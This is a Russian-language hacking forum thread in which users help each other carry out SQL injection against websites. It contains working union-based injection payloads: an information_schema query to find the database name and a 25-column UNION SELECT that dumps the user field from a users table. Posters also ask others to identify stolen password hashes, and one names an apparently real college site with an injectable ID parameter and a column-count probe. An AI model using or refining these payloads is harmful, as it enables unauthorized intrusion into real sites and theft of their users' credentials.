спасибо парни помогли
еще вопрос что за хэш: *122FAB680F50DC0536FADEE85CB2974939BDD1A6

даже интересно стало, кто тебе помог из парней - DeluxeS или 547? Т.е. на чьем примере из этих двух гениев получения имени БД ты достиг нужного результата?

DeluxeS:

не неси бред, такой хрени я не мог писать:

select+table_schema+from+information_schema.tables +where+table_name='users'--

и вот то, что выведет, и подставлять к users через точку, например вывело amx, значит итоговый правильный запрос такой:

http://site.php/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,user,14, 15,16,17,18,19,20,21,22,23,24,25+from+amx.users--

где amx - имя БД, где хранится таблица users

ЗЫЖ Вот уродец, ниже еще один

тока кавычки фильтрует базу пришлось в hex писать.

базу пришлось в hex писать.

не базу, а имя таблицы. Не фильтруются, а magic_quotes=ON

сли бы хоть раз досканально изучил подпись jokestera. Причем в течении 5 минут примерно

Спасибо буду знать

подскажите плиз еще что это за хэш $P$BXnTLgitAWI18nma9N56AwYv/HbpUf0

http://www.trcc.cc.mo.us/newsdetail.php?ID=156%27

Как можно ее раскрутить, сори за нубовский вопрос. Вернее как подобрать количество полей.
Спасибо.

http://www.trcc.cc.mo.us/newsdetail.php?ID=156%27+group+by+11--%20+
Выше уже ошибка